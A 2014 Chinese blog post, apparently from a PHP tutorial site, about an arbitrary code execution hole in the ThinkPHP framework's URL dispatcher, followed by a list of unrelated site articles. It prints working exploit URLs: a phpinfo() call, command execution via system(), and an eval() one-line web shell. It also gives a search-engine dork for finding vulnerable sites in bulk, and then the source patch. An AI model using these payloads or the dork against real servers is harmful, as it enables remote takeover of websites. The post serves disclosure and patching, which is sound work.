ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
PHP 增加了对 .ZIP 文件的读取功能
Oct 09 PHP
php.ini修改php上传文件大小限制的方法详解
Jun 17 PHP
PHP实现手机号码中间四位用星号(*)隐藏的自定义函数分享
Sep 27 PHP
php使用curl简单抓取远程url的方法
Mar 13 PHP
从刷票了解获得客户端IP的方法
Sep 21 PHP
php实现阳历阴历互转的方法
Oct 28 PHP
ThinkPHP简单使用memcache缓存的方法
Nov 15 PHP
PHP编程实现多维数组按照某个键值排序的方法小结【2种方法】
Apr 27 PHP
Yii框架分页实现方法详解
May 20 PHP
Laravel模型间关系设置分表的方法示例
Apr 21 PHP
PHP实现的无限分类类库定义与用法示例【基于thinkPHP】
Aug 06 PHP
php操作mongodb封装类与用法实例
Sep 01 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
PHP脚本的10个技巧(5)
2006/10/09 PHP
PHP 中的批处理的实现
2007/06/14 PHP
PHP 防恶意刷新实现代码
2010/05/16 PHP
PHP中使用正则表达式提取中文实现笔记
2015/01/20 PHP
用jquery来定位
2007/02/20 Javascript
基于JQuery实现鼠标点击文本框显示隐藏提示文本
2012/02/23 Javascript
JS获取浏览器版本及名称实现函数
2013/04/02 Javascript
jQuery通过改变input的type属性实现密码显示隐藏切换功能
2017/02/08 Javascript
vue父子组件的嵌套的示例代码
2017/09/08 Javascript
webstorm中vue语法的支持详解
2018/05/09 Javascript
微信小程序顶部导航栏可滑动并选中放大
2019/12/05 Javascript
vue实现移动端input上传视频、音频
2020/08/18 Javascript
vant 时间选择器--开始时间和结束时间实例
2020/11/04 Javascript
[54:57]DOTA2-DPC中国联赛定级赛 Aster vs DLG BO3第二场 1月8日
2021/03/11 DOTA
基于Python如何使用AIML搭建聊天机器人
2016/01/27 Python
python 请求服务器的实现代码(http请求和https请求)
2018/05/25 Python
python读写LMDB文件的方法
2018/07/02 Python
Python实现Dijkstra算法
2018/10/17 Python
numpy库reshape用法详解
2020/04/19 Python
flask框架中的cookie和session使用
2021/01/31 Python
Html5之webcoekt播放JPEG图片流
2020/09/22 HTML / CSS
Fossil美国官网:Fossil手表、手袋、珠宝及配件
2017/02/01 全球购物
《乞巧》教学反思
2014/02/27 职场文书
法英专业大学生职业生涯规划书范文
2014/09/22 职场文书
领导干部“四风”问题批评与自我批评材料
2014/09/24 职场文书
认错检讨书
2014/10/02 职场文书
华清池导游词
2015/02/02 职场文书
信访维稳承诺书
2015/05/04 职场文书
Vue+Element UI实现概要小弹窗的全过程
2021/05/30 Vue.js
浅谈redis整数集为什么不能降级
2021/07/25 Redis
JVM钩子函数的使用场景详解
2021/08/23 Java/Android
低门槛开发iOS、Android、小程序应用的前端框架详解
2021/10/16 Javascript
python中pymysql包操作数据库方法
2022/04/19 Python
阿里云服务器(windows)手动部署FTP站点详细教程
2022/08/05 Servers
vue本地构建热更新卡顿的问题“75 advanced module optimization”完美解决方案
2022/08/05 Vue.js
了解MySQL查询语句执行过程(5大组件)
2022/08/14 MySQL